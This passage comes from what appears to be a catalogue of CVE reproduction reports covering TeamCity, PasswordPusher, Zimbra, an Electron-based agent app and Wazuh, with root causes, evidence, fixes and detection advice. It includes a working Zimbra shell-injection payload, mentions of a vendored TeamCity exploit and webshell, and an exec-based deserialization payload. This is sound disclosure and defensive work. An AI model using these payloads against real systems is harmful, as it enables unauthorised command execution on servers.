an `AddToQueuePreprocessor` that strips queued builds carrying the `teamcity.agent.internal.passwords.values` parameter. Fixed releases 2025.11.7 / 2026.1.3 ship the same allowlist natively. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires docker, python3, curl). 2. The script: - pulls the pinned official images `jetbrains/teamcity-server@sha256:a435d8…4176` (2025.11.6, vulnerable) and `…@sha256:d3875b…56d8` (2025.11.7, fixed); - starts both servers and drives the real first-run setup wizard over HTTP (`/mnt/do/goNewInstallation` → `/mnt/do/goNewDatabase` (internal HSQLDB) → `/mnt/do/acceptLicenseAgreement`) until the server leaves maintenance mode; - health-checks the attack surface by registering an agent **without credentials** and verifying a `TeamCity-AgentSessionId` header is issued; - runs the exploit (`bundle/repro/exploit_cve_2026_63077.py`, vendored Rapid7 PoC) twice against the vulnerable server and twice against the fixed server, with per-run random markers; - requires, on the vulnerable server: exploit exit 0 **and** the marker file present inside the container (created by the TeamCity server process); - requires, on the fixed server: exploit failure, no marker file, and `com.thoughtworks.xstream.security.ForbiddenClassException` in the server log (the exact IoC JetBrains names for a blocked exploit attempt). 3. Expected evidence: `[+] Command executed: touch /tmp/CVE_2026_63077_PWNED_` for 2025.11.6, `HTTP 404` for the webshell on 2025.11.7, and `RESULT: … CONFIRMED`. ## Evidence - `bundle/logs/reproduction_steps.log` — full orchestration log. - `bundle/logs/exploit_vulnerable.log` — two successful exploit runs: register → `TeamCity-AgentSessionId: :` → `/app/agents/v1/commands/error` HTTP 500 (deserialization side effects already committed) → `GET /.jspws` HTTP 200 with the per-run response token. - `bundle/repro/marker_vulnerable.txt` — `ls -la` of the marker file (owner `tcuser`) and `id` of the server process user inside the container. - `bundle/logs/teamcity_vuln_server.log` — vulnerable server log containing the `com.thoughtworks.xstream.converters.ConversionException` IoC named in JetBrains' guidance. - `bundle/logs/exploit_fixed.log`, `bundle/logs/teamcity_fixed_server.log` — fixed server: same requests, `ForbiddenClassException` ×2, webshell GET → HTTP 404, no marker. - `bundle/repro/payload_vulnerable.xml` — the exact attack XML generated for the run. - `bundle/repro/analysis/` — patch-diff evidence: decompiled JetBrains security patch plugin classes, decoded allowlist, decompiled `Error`/`AgentPollingProtocolController`/ `AbstractAgentCommandsRequestsProcessor`/`XStreamHolder` from 2025.11.6, and the in-the-wild honeypot pcap (`CVE-2026-63077-itw.pcap`, BoredHackerBlog) showing the identical request sequence. - Environment: official Docker images on linux/amd64; TeamCity 2025.11.6 (build 208214) with bundled Tomcat 9.0.109 / JetBrains Runtime 21; no sanitizer, no instrumentation. ## Recommendations / Next Steps - Upgrade to TeamCity 2025.11.7 or 2026.1.3, or install JetBrains' `fix_CVE_2026_63077` security patch plugin (2017.1+; restart required on 2017.1–2018.1). - Restrict network access to the server (the agent polling protocol is same-port HTTP(S)) to trusted build-agent networks. - Detection: server logs containing `ConversionException` (possible attempt/success) or `ForbiddenClassException` (blocked attempt on patched servers); unexpected unauthorized agents (in-the-wild agents used names starting with `scan`); unexpected `.jspws`/`.jsp` files under `webapps/ROOT`. - The correct fix pattern is exactly what JetBrains shipped: never deserialize the polling protocol with `AnyTypePermission.ANY`; use `NoTypePermission.NONE` + a strict allowlist. ## Additional Notes - Idempotency: the script recreates both containers from pinned image digests on every run and uses fresh random markers/tokens, so consecutive runs are independent. - The exploit does not depend on the `TeamCity-AgentCommandId` value (deserialization happens before the header is parsed); any integer suffices. - On the vulnerable server the `/commands/error` request returns HTTP 500 *after* the gadget side effects have executed — the 500 is expected and matches the in-the-wild capture. - Exploit helper provenance: `bundle/repro/exploit_cve_2026_63077.py` is the public Rapid7 PoC (github.com/sfewer-r7/CVE-2026-63077), used unmodified; the same chain was independently captured in the wild (pcap in `bundle/repro/analysis/`). - The default `--webroot-relative ../webapps/ROOT` is correct for the official Linux Docker image (JVM working directory `/opt/teamcity/bin`). ### Reproduction - Reproduced: 2026-08-23T15:38:48.280Z - Duration: 6055s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00329 # or: pruva-verify CVE-2026-63077 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00329 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00329/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00329 ================================================================================ ## REPRO-2026-00328: PasswordPusher allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership check that bypasses viewer-deletion restrictions. -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00328 - CVE: CVE-2026-62382 (https://nvd.nist.gov/vuln/detail/CVE-2026-62382) ### Package Information - Name: pglombardo/PasswordPusher - Ecosystem: Ruby on Rails self-hosted application, also shipped as Docker image pglombardo/pwpush - Affected: v1.45.11 through v2.9.5 - Fixed: v2.9.6 - Severity: medium - CVSS: 6.9 / 10 - CWE: CWE-863 Incorrect Authorization (Incorrect Authorization) ### Root Cause # RCA Report — CVE-2026-62382: PasswordPusher Unauthenticated Deletion of Anonymous Pushes ## Summary PasswordPusher versions v1.45.11 through v2.9.5 contain an improper authorization flaw (CWE-863) in the push-deletion paths. Both the JSON API (`Api::V1::PushesController#destroy`) and the HTML UI (`PushesController#expire`) authorize deletion with `(@push.user == current_user) || @push.deletable_by_viewer`. For an anonymous push `@push.user` is `nil`, and for an unauthenticated request `current_user` is also `nil`, so the ownership comparison evaluates `nil == nil` → `true`. The `deletable_by_viewer` restriction is therefore bypassed, and anyone who knows only the secret URL can permanently delete (`expire!`) an anonymous push — clearing payload, passphrase, and attached files — even when viewer deletion was explicitly disabled and a passphrase protects reads. ## Impact - **Package/component:** PasswordPusher (self-hosted Ruby on Rails application), `pglombardo/pwpush` Docker images. - **Affected versions:** v1.45.11 – v2.9.5 (fixed in v2.9.6). Only deployments allowing anonymous pushes (the default) are affected. - **Risk:** Medium (CVSS 4.0: 6.9). Unauthenticated denial-of-service against secrets in transit: an attacker who learns or guesses a secret URL token can irreversibly destroy the push before the intended recipient retrieves it. ## Impact Parity - **Disclosed/claimed maximum impact:** authorization bypass — unauthenticated deletion of anonymous pushes (`authz_bypass`). - **Reproduced impact from this run:** identical. An unauthenticated `DELETE /p/.json` against pwpush 2.9.5 returned HTTP 200, set `expired=true`/`deleted=true`, cleared the passphrase, and destroyed the payload (subsequent authorized read with the correct passphrase returned `"payload": null`). The HTML route `DELETE /p//expire` also destroyed the push (HTTP 302 + push expired). - **Parity:** `full`. - Not demonstrated: nothing claimed beyond the authorization bypass / data destruction (no code execution was claimed or attempted). ## Root Cause In v2.9.5 the deletion guards were: - `app/controllers/api/v1/pushes_controller.rb` (`destroy`): `if (@push.user == current_user) || @push.deletable_by_viewer` - `app/controllers/pushes_controller.rb` (`expire`): `unless @push.deletable_by_viewer || (@push.user == current_user)` `Push#user` is a nullable `belongs_to`. Anonymous pushes have `user_id = NULL`, so `@push.user` is `nil`. Devise's `current_user` is `nil` when the request is unauthenticated. Ruby evaluates `nil == nil` as `true`, so the "owner" branch succeeds and the `deletable_by_viewer` check is never reached. `expire!` then clears `payload`, `passphrase`, and files and marks the push expired/deleted — irreversible. **Fix (v2.9.6, diff v2.9.5...v2.9.6):** both controllers now call a new model method `Push#deletable_by?(user)`: ```ruby def deletable_by?(user) (user.present? && user_id == user.id) || deletable_by_viewer == true end ``` which requires an authenticated (`present?`) user whose id matches the owner, removing the nil==nil equivalence. Advisory: https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-jf2m-hpj9-4qx2 ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker). 2. The script: - Pulls and starts the real product images `pglombardo/pwpush:2.9.5` (vulnerable, port 15100) and `pglombardo/pwpush:2.9.6` (fixed, port 15101). - Waits for HTTP readiness, then completes the real first-run setup flow (extracts the one-time boot code from container logs and creates the admin account), mirroring a fresh deployment. - As an **unauthenticated** client, creates an anonymous push with `payload=SUPER-SECRET-CVE-2026-62382`, `passphrase=s3cr3t`, `deletable_by_viewer=false`. - Verifies the payload is unreadable without the passphrase (HTTP 401). - Sends `DELETE /p/.json` with no session and no passphrase. - Re-reads the push with the correct passphrase and evaluates state. - Repeats the identical flow against the fixed image as a negative control, and additionally exercises the HTML `DELETE /p//expire` route on the vulnerable instance as secondary evidence. 3. Expected evidence: vulnerable → DELETE HTTP 200, push `expired=true`, `deleted=true`, `payload=null`; fixed → DELETE HTTP 401 (`"That push is not deletable by viewers."`), payload intact. ## Evidence - `bundle/logs/reproduction_steps.log` — full run transcript. Key excerpts: ``` [repro] [vuln] read without passphrase -> HTTP 401 [repro] [vuln] unauthenticated DELETE /p/cxlwytxdhjwx.json -> HTTP 200 [repro] [fixed] unauthenticated DELETE /p/5hpxxmf2x6_unhxtmq.json -> HTTP 401 [repro] vuln: DELETE=200 expired=true deleted=true payload=null [repro] fixed: DELETE=401 expired=false payload=SUPER-SECRET-CVE-2026-62382 [repro] RESULT: CVE-2026-62382 CONFIRMED (vuln exploited, fixed rejected). ``` - `bundle/artifacts/http/vuln_delete_response.json` — vulnerable DELETE response body: `expired:true`, `deleted:true`, `passphrase:null`. - `bundle/artifacts/http/vuln_read_after_delete.json` — authorized read after the attack returns `"payload": null` (secret destroyed). - `bundle/artifacts/http/vuln_read_without_passphrase.json` — pre-attack 401 proves the passphrase gate was active. - `bundle/artifacts/http/vuln_html_expire_response.txt` — HTML route also expires the push unauthenticated. - `bundle/artifacts/http/fixed_delete_response.json` — `401` + `{"error":"That push is not deletable by viewers."}`. - `bundle/artifacts/http/fixed_read_after_delete.json` — payload intact on fixed version. - `bundle/logs/pwpush_vuln_service.log` / `bundle/logs/pwpush_fixed_service.log` — container logs (Puma boot, first-run, request handling). - `bundle/repro/runtime_manifest.json` — runtime manifest with image digests and SHA-256 of every proof artifact. - Environment: Docker 29.1.3 on Linux x86_64; images `pglombardo/pwpush:2.9.5` (sha256:ba5cf45b…) and `pglombardo/pwpush:2.9.6` (sha256:c9662425…), Ruby 4.0.6 / Rails 8.1.3.1, production environment with default settings (`allow_anonymous` enabled). ## Recommendations / Next Steps - Upgrade to PasswordPusher ≥ v2.9.6 (or apply the `Push#deletable_by?` patch). - Never use `record.user == current_user` as an ownership test when either side can be `nil`; require `current_user.present? && record.user_id == current_user.id`. - Add regression tests: unauthenticated DELETE/expire of an anonymous push with `deletable_by_viewer=false` must be rejected (the fix release adds `test/integration/password/password_json_deletion_test.rb` etc.). - Defense-in-depth: deployments that do not need anonymous pushes should set `allow_anonymous: false`; secret URL tokens should be treated as bearer secrets and rotated. ## Additional Notes - **Idempotency:** the script removes/recreates its containers (`pwpush-vuln-repro`, `pwpush-fixed-repro`) on each run, performs first-run setup from scratch, and exits 0 only when the vulnerable instance is exploited AND the fixed instance rejects the attack. Verified passing twice consecutively in this run. - First-run admin setup is required by current PasswordPusher images before any push can be created; the script automates it via the boot code printed to container logs. This reflects real deployment behavior and does not affect the unauthenticated attack surface. - Limitations: the boot-code extraction depends on the Docker log driver; a non-Docker deployment would need the equivalent first-run step. The claimed entrypoint (`DELETE /p/.json`) is exercised directly; the HTML `/expire` route is included only as secondary evidence. ### Reproduction - Reproduced: 2026-08-23T15:38:42.908Z - Duration: 1293s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00328 # or: pruva-verify CVE-2026-62382 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00328 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00328/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00328 ================================================================================ ## REPRO-2026-00327: Zimbra Collaboration unauthenticated RCE via Swatchdog/SNMP log-injection command injection (swatchrc dosnmp Perl backtick) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00327 - CVE: CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570) ### Package Information - Name: Zimbra Collaboration (ZCS) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) ### Root Cause # Root Cause Analysis: CVE-2026-73570 ## Summary CVE-2026-73570 is an unauthenticated command-injection vulnerability in Zimbra Collaboration's SNMP monitoring path. An external SMTP peer can make the ZCS-packaged Postfix service log attacker-controlled text resembling a Zimbra `Service status change` record. The installed, packaged `zmswatch` process matches that log line and passes its attacker-controlled `SERVICE` capture to `dosnmp()`. Before ZCS 10.1.20, `dosnmp()` interpolates `SERVICE` into a Perl backtick command, invoking `/bin/sh` and permitting command execution as the `zimbra` operating-system user. ## Impact - **Affected component:** Zimbra Collaboration Suite MTA/SNMP monitoring (`zimbra-mta`, optional `zimbra-snmp`, `/opt/zimbra/conf/swatchrc`, packaged Postfix, and packaged `zmswatch`). - **Affected versions:** ZCS releases before 10.1.20 with the vulnerable Swatchdog configuration. - **Required configuration:** The SNMP package is installed, SNMP notifications are enabled, `zmswatch` is running, and the SMTP listener is reachable. - **Risk:** High. A remote unauthenticated attacker can execute shell commands as the `zimbra` account, which can disclose Zimbra configuration/credentials or alter mail-service data. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated remote code/command execution through the public SMTP protocol path. - **Reproduced impact from this run:** Two clean installed-ZCS product instances accepted attacker-controlled SMTP bytes over an external TCP connection to packaged Postfix, logged them to `/var/log/zimbra.log`, processed them with packaged `zmswatch` running as `zimbra`, and created unique shell-expanded markers: `v1:u999:nzimbra` and `v2:u999:nzimbra`. - **Parity:** `full` - **Not demonstrated:** No interactive shell, persistence, credential theft, or privilege escalation beyond the `zimbra` account was attempted or claimed. ## Root Cause The vulnerable Zimbra Swatchdog rules match Postfix log records of the form `: Service status change: (\S+) (.*) changed from ...`. A compact SMTP command-pipelining violation can place attacker input in that log format. The second capture becomes `SERVICE` and flows to `dosnmp()`. The vulnerable ZCS 10.1.0 package input contains: ```perl `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; ``` Perl backticks invoke a shell. Consequently, shell metacharacters and command substitutions in `SERVICE` are interpreted instead of remaining one SNMP argument. The installed vulnerable `/opt/zimbra/conf/swatchrc.in` has SHA-256 `b0b36f69787aad1ad02b3bccac8043187de7113bea1aa49669e31ed98160c02e`. The authentic ZCS 10.1.20 `zimbra-mta-patch` package replaces this with LIST-form `system()`: ```perl system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra", $traphost, "", $snmpsvctrap, $snmpsvcname, "s", $args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}}); ``` LIST-form execution passes `SERVICE` as one literal argument without invoking a shell. The authentic fixed `swatchrc.in` has SHA-256 `06e9be7dfad44519dd3f0f9c70673d7ccce6dbfb18bf54dc5ff2c5078a4c4a5c`. The exact official fixed package is `zimbra-mta-patch 10.1.20.1783342495-1.u22`, package SHA-256 `f242ee41af609b940c091d4bf9dab7ff1dd641134865d045850cfe00cbdee593`. The release-level fix is documented at ; this reproduction does not rely on a generated approximation or an inferred source commit. ## Reproduction Steps 1. Run `bash bundle/repro/reproduction_steps.sh` from any directory. The script uses `PRUVA_ROOT` when set. 2. The script reads `bundle/project_cache_context.json` and first uses the prepared project cache. If necessary, it downloads the pinned official ZCS 10.1.0 Ubuntu 22 installer archive and authentic ZCS 10.1.20 MTA patch, verifies their SHA-256 digests, and constructs installed product images. 3. It creates two clean vulnerable and two clean fixed instances. Every instance starts installed ZCS LDAP state, packaged ZCS Postfix, rsyslog's Zimbra mail-log route, and packaged `zmswatch` as `zimbra`. 4. For each instance, an external Python TCP peer connects through a host-loopback published port, receives the real Postfix banner, and pipelines `VRFY` with a 99-byte forged service-status record. 5. Vulnerable success requires both unique victim-shell markers. Fixed success requires the authentic 10.1.20 package identity, the same log/parser path, no marker, and a trace showing the entire metacharacter-bearing payload preserved as literal `snmptrap` `argv[9]`. 6. The final script was executed successfully twice consecutively; each execution internally performed all four isolated attempts. ## Evidence Primary current-run evidence is under `bundle/repro/evidence/`: - `source-identity.txt` binds the official archive/package digests and immutable vulnerable/fixed runtime image IDs. - `vulnerable-1/attack-request.txt` contains the actual SMTP transaction bytes. - `vulnerable-1/smtp.transcript` records the real ZCS Postfix banner and protocol exchange. - `vulnerable-1/zimbra.log` proves packaged Postfix logged the attacker-selected forged record. - `vulnerable-1/processes.txt` shows Postfix `smtpd` as `postfix` and packaged Swatchdog plus its generated parser as `zimbra`. - `vulnerable-1/package-identity.txt` records ZCS 10.1.0, `zimbra-postfix 3.6.14`, `zimbra-perl-swatchdog 3.2.4`, and `zimbra-snmp 10.1.0`. - `vulnerable-1/marker.txt` contains `v1:u999:nzimbra` (SHA-256 `85fe5f908055df71908e93700df6808558cda5b1e30d390f0247ec365f4d2803`). - `vulnerable-2/marker.txt` contains `v2:u999:nzimbra` (SHA-256 `483742d1e7d96aab6b5fdab8ac45189bed7036ccc9ba3d1b0cf150dbb54bf7ba`). - `fixed-1/result.json` and `fixed-2/result.json` record `target_path_reached=true` and `marker_present=false`. - `fixed-1/snmptrap.trace` and `fixed-2/snmptrap.trace` show the attack string preserved literally as one argument under LIST-form `system()`. - `bundle/repro/runtime_manifest.json` records `entrypoint_kind=tcp_peer`, all three runtime gates as true, exact target identities, and digest-bound proof artifacts. - `bundle/repro/validation_verdict.json` records `confirmed`, `network_protocol`, `production_path`, and observed `code_execution`. - `bundle/logs/reproduction_steps.log` records the latest complete orchestration result. Key current-run excerpts: ```text v1:u999:nzimbra v2:u999:nzimbra ``` ```text postfix smtpd ... improper command pipelining after VRFY ... : Service status change: h x;echo v1:u$(id -u):n$(id -un)>/tmp/p0;# ... ``` ```text argv[9]=/tmp/p2;#> ``` ## Recommendations / Next Steps - Upgrade affected installations to ZCS 10.1.20 or later with the complete vendor-supported package closure. - Verify that `/opt/zimbra/conf/swatchrc.in` uses LIST-form `system()` and regenerate `/opt/zimbra/conf/swatchrc` with the normal Zimbra tooling. - Until upgrading, disable SNMP notifications or stop `zmswatch` if operationally acceptable. - Inspect Zimbra logs and filesystem/web-root modifications for exploitation indicators; rotate credentials in Zimbra configuration if compromise is suspected. - Add an end-to-end regression that sends shell metacharacters through SMTP and asserts they arrive at `snmptrap` as one literal argument without command side effects. ## Additional Notes - The reproduction is idempotent. It deletes prior attempt evidence, starts fresh isolated containers and ports, and removes every attempt container on exit. - The primary oracle is non-sanitized product-visible shell execution through the installed production path; no sanitizer was used. - The real `snmptrap` executable is used for the vulnerable success path. A recording wrapper is introduced only after the fixed negative-control path has already proven no marker, solely to demonstrate literal fixed-version argv boundaries. - LDAP's test database is recreated per instance because installation-time LMDB files are sparse and unsuitable for a portable image; this does not replace or modify Postfix, `zmswatch`, `swatchrc`, or the vulnerable/fixed sink. - The trigger must remain within Postfix's observed 100-byte client-text log limit; the final forged record is 99 bytes. ### Reproduction - Reproduced: 2026-08-23T15:38:37.177Z - Duration: 5641s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00327 # or: pruva-verify CVE-2026-73570 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00327 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00327/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00327 ================================================================================ ## REPRO-2026-00326: Hermes Agent Electron preview webview sandbox escape via CVE-2026-70608 -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00326 - CVE: CVE-2026-70608 (https://nvd.nist.gov/vuln/detail/CVE-2026-70608) ### Package Information - Name: hermes-agent - Ecosystem: github - Affected: electron <39.8.10, >=40.0.0-alpha.1 <41.10.3, >=42.0.0-alpha.1 <42.0.1 - Fixed: 41.10.3 - Severity: high - CVSS: Unknown - CWE: CWE-693 ### Root Cause # RCA Report — CVE-2026-70608 R3B: preview-pane webview guest window.open escalation ## Summary hermes-agent's right-rail URL preview (`apps/desktop/src/app/chat/right-rail/preview-pane.tsx:557-561`) creates a `` whose guest webContents carries **no `setWindowOpenHandler`** (verified: no `web-contents-created` / `did-attach` / `new-window` wiring exists anywhere in `apps/desktop/electron/main.ts`). In Electron, no handler means **default ALLOW**. On Electron 40.10.2 (pinned in `apps/desktop/package.json`), the CVE-2026-70608 OpenURL bypass — a synthetic ctrl/meta-click dispatched from a sandboxed iframe **without `allow-popups`** — fires inside that guest and, because no handler exists to deny it, spawns a **real application BrowserWindow** loading attacker content. On Electron 41.10.3 the identical iframe trigger is blocked (fix confirmed). This escalates the R2 finding (where the main window's `setWindowOpenHandler` capped the effect at an allowlisted external-URL open) to outcome (a) of the ticket: a real window spawns. ## Impact - Product: hermes-agent desktop (`apps/desktop`), repo commit `e3fab0437ee50ebe511cec57b9ac36f0c2803268` - Affected runtime: Electron **40.10.2** (pinned in the repo); fixed in Electron **41.10.3** - Any page rendered in the right-rail URL preview (attacker-selected URL, e.g. a link the agent was asked to preview) can, without any user gesture, spawn real Electron `BrowserWindow`s loading attacker-controlled content — from the top-level guest document AND, on the vulnerable Electron, from a sandboxed iframe (`sandbox="allow-scripts"`, no `allow-popups`) inside it. - Consequences: attacker-controlled application windows inside the Hermes desktop (phishing chrome, permission prompts, further drive-by surface) — beyond R2's browser-external-open cap. ## Impact Parity - Disclosed/claimed maximum impact: sandbox escape (guest content escapes the preview confinement into a real application window); the ticket asked to determine outcome (a) real window spawn / (b) external path / (c) blocked. - Reproduced impact: **outcome (a)** — real `BrowserWindow` creation from the CVE bypass inside the preview webview guest (main-process `browser-window-created` + guest `did-create-window` + `did-finish-load` of the attacker marker URL), twice on 40.10.2; blocked twice on 41.10.3. - Parity: **full** for the claimed escalation question. (No renderer code execution, Node integration, or permission escalation inside the spawned window was attempted or claimed here; the spawned windows use Electron default webPreferences.) ## Root Cause 1. `preview-pane.tsx` creates the preview webview for URL targets with a persistent partition and sandboxed renderer prefs, but nothing in the main process ever attaches a `setWindowOpenHandler` (or `web-contents-created` policy) to that guest. Electron's default in this case is to honor window-open requests by creating new windows. 2. Electron ≤ 40.10.2 (CVE-2026-70608): the OpenURLFromTab path omits the initiating-frame popup-sandbox check, so a synthetic modifier-click on an anchor inside an iframe sandboxed **without `allow-popups`** is still routed as a `foreground-tab` open (the R2 primitive, revalidated here inside the webview guest). 3. Combined: the iframe sandbox bypass reaches the guest's window-open path and the guest has no handler to deny it → a real window is created. On 41.10.3 the popup-sandbox check is restored, so the iframe trigger is blocked before any window is created. Fix upstream: Electron 41.10.3 (CVE-2026-70608 fix). Product-side defense in depth: attach a `setWindowOpenHandler` (deny or route through `openExternalUrl`) to every webview guest via `app.on('web-contents-created')` for `type === 'webview'`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; idempotent). 2. What it does: - Seeds the work repo from the prepared project cache (or clones) and checks out `e3fab0437ee50ebe511cec57b9ac36f0c2803268`. - Installs node deps with pnpm (workspace file + `pnpm import` of the root package-lock; npm itself OOMs in this container's 1.5GB cgroup) and the Python backend venv the desktop spawns (`venv/bin/python -m hermes_cli.main serve`). - Applies **observation-only** instrumentation to `electron/main.ts` (`bundle/repro/patch_instrumentation.py`, gated on `HERMES_REPRO_INSTRUMENT_LOG`): records `browser-window-created`, `web-contents-created`, guest `did-create-window`, guest console, `openExternalUrl`, `shell.openExternal` (record-only stub — never executes a real OS open), and the main window's `setWindowOpenHandler`. Guest behavior is NOT modified. - Bundles the electron main process with the product's own `scripts/bundle-electron-main.mjs --dev`, and bundles the SAME renderer sources with esbuild (`bundle/repro/bundle_renderer.mjs`; vite build/dev OOMs in the cgroup), served statically at `http://127.0.0.1:5174` and loaded via the product's own `HERMES_DESKTOP_DEV_SERVER` dev-mode entry. - Runs the Playwright driver (`bundle/repro/repro.spec.ts`) under Xvfb, twice on Electron 40.10.2 and twice on 41.10.3. Each attempt: launches the real app with a real backend and a mock OpenAI provider; sends a chat message asking to preview `http://127.0.0.1:/x`; the mock returns a real `open_preview` tool call which the backend executes; the driver clicks the product's "Open Preview" affordance and, if needed, falls back to the product's own localStorage restore path (`hermes.desktop.previewTabs.v2` + reload) to mount the pane. The preview-pane then creates the webview pointed at the attacker page, which fires `window.open` plus synthetic ctrl+meta-clicks from the top level and from a sandboxed iframe (`sandbox="allow-scripts"`, no `allow-popups`). 3. Expected evidence: per-attempt `guest.did-create-window` / `browser-window-created` / `did-finish-load` events for `…/marker?src=frame-click` (CVE bypass) on 40.10.2, and their absence (with the iframe beacon still dispatched) on 41.10.3. ## Evidence Per-attempt artifacts (two runs of the script, both `confirmed=true`): - `bundle/logs/vulnerable_attempt_{1,2}.{json,main.jsonl,log,diag.log,requests.json}` — Electron 40.10.2 - `bundle/logs/fixed_attempt_{1,2}.{json,main.jsonl,log,diag.log,requests.json}` — Electron 41.10.3 - `bundle/repro/runtime_manifest.json` — entrypoint, target identity, artifact hashes - `bundle/logs/reproduction_steps.log` — full script log Key excerpts (run 2, vulnerable attempt 1, Electron 40.10.2): ``` web-contents-created {type:'webview'} # preview guest mounted guest-console: PRUVA src=page-loaded # attacker page ran in the guest guest-console: PRUVA src=windowopen-result&value=null # gesture-less window.open blocked guest.did-create-window url=…/marker?src=top-click disposition=foreground-tab web-contents-created {type:'window'} + win.did-finish-load …/marker?src=top-click guest-console: PRUVA-FRAME src=frame-windowopen-result&value=null # iframe window.open blocked guest.did-create-window url=…/marker?src=frame-click disposition=foreground-tab # CVE bypass fires web-contents-created {type:'window'} + win.did-finish-load …/marker?src=frame-click # REAL window ``` Fixed attempt 1 (Electron 41.10.3): the iframe still dispatches (`PRUVA-FRAME src=frame-click-dispatched` beacon) but **no** `did-create-window` / window for `src=frame-click` ever occurs; only the generic top-level clicks spawn windows (unchanged pre-existing default-allow behavior for a handler-less guest, present on both versions). Outcome matrix (both full script runs): | attempt | Electron | outcome | |---|---|---| | vulnerable #1 | 40.10.2 | A_REAL_WINDOW_SPAWNED_CVE_BYPASS (cveWindows=1, genericWindows=2) | | vulnerable #2 | 40.10.2 | A_REAL_WINDOW_SPAWNED_CVE_BYPASS (cveWindows=1, genericWindows=2) | | fixed #1 | 41.10.3 | A_REAL_WINDOW_SPAWNED_GENERIC_ONLY (cveWindows=0, genericWindows=2) | | fixed #2 | 41.10.3 | A_REAL_WINDOW_SPAWNED_GENERIC_ONLY (cveWindows=0, genericWindows=2) | Environment: Ubuntu 26.04 container, x86_64, Xvfb, UID 1000, all traffic to 127.0.0.1, `shell.openExternal` record-only. Chromium OS sandbox disabled (`--no-sandbox`) because the container blocks all namespace creation (EPERM even for root); this matches the product's own e2e fixtures and does not affect the Blink iframe popup-sandbox under test. ## Recommendations / Next Steps - Upgrade the desktop app to Electron ≥ 41.10.3 (upstream CVE-2026-70608 fix). - Defense in depth (works regardless of Electron version): in the main process, attach `setWindowOpenHandler` to webview guests (`app.on('web-contents-created')`, `type==='webview'`) that denies or routes through the allowlisted `openExternalUrl`, mirroring the main window. - Consider a restrictive `session.setPermissionRequestHandler` / CSP for `persist:hermes-preview`. - Test: an e2e spec asserting that a sandboxed iframe in a preview webview cannot create windows. ## Additional Notes - Idempotency: the script was run twice consecutively end-to-end; both runs printed `confirmed=true` with the same 2×2 outcome matrix. All setup steps skip when outputs exist. - The chat → tool-call → gateway path executed for real (mock provider issued a genuine `open_preview` tool call the backend ran); the pane mount additionally used the product's own persisted-store restore path when the in-test click did not land (a test-harness timing issue, not a product defect). - The renderer is bundled by esbuild instead of vite purely because vite/rolldown exceeds the container's 1.5GB memory cgroup; identical sources and product code paths are exercised. - Separately observed (both Electron versions, pre-existing, not the CVE): the top-level guest page's synthetic ctrl+click also spawns real windows (default allow, no handler). Worth its own product hardening note. ### Reproduction - Reproduced: 2026-08-23T15:38:31.072Z - Duration: 16268s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00326 # or: pruva-verify CVE-2026-70608 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00326 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00326/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00326 ================================================================================ ## REPRO-2026-00325: Wazuh cluster DAPI deserialization of untrusted data — RCE via sort_casting builtin resolution (getattr(builtins, 'exec')) in result merging -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00325 - CVE: CVE-2026-44901 (https://nvd.nist.gov/vuln/detail/CVE-2026-44901) ### Package Information - Name: wazuh/wazuh - Ecosystem: github - Affected: wazuh-manager >= 4.0.0, < 4.14.6 (all cluster-mode deployments) - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-502 Deserialization of Untrusted Data (Deserialization of Untrusted Data) ### Root Cause ## Summary CVE-2026-44901 is a Wazuh cluster Distributed API (DAPI) deserialization vulnerability in which a malicious or compromised worker node can return a crafted serialized `AffectedItemsWazuhResult` to a master node. In vulnerable code, `AffectedItemsWazuhResult.decode_json()` accepts attacker-controlled `sort_casting` values and `merge()` resolves those values with `getattr(builtins, type_)`. A worker response containing `sort_casting=["exec"]` therefore makes the master call Python `exec()` on attacker-controlled item data while merging results from multiple nodes. ## Impact - **Affected package/component:** Wazuh manager cluster framework, specifically `framework/wazuh/core/results.py` as reached through `framework/wazuh/core/cluster/dapi/dapi.py` and the cluster TCP channel handled by `wazuh.core.cluster.master.MasterHandler` / `wazuh.core.cluster.common.Handler`. - **Affected versions:** Wazuh manager cluster deployments before the fix commit `b29849f8abb08d78f257e6106b6111a8a1b0e621` (reported as fixed in 4.14.6 and later). The reproduced vulnerable revision is the fixed commit parent: 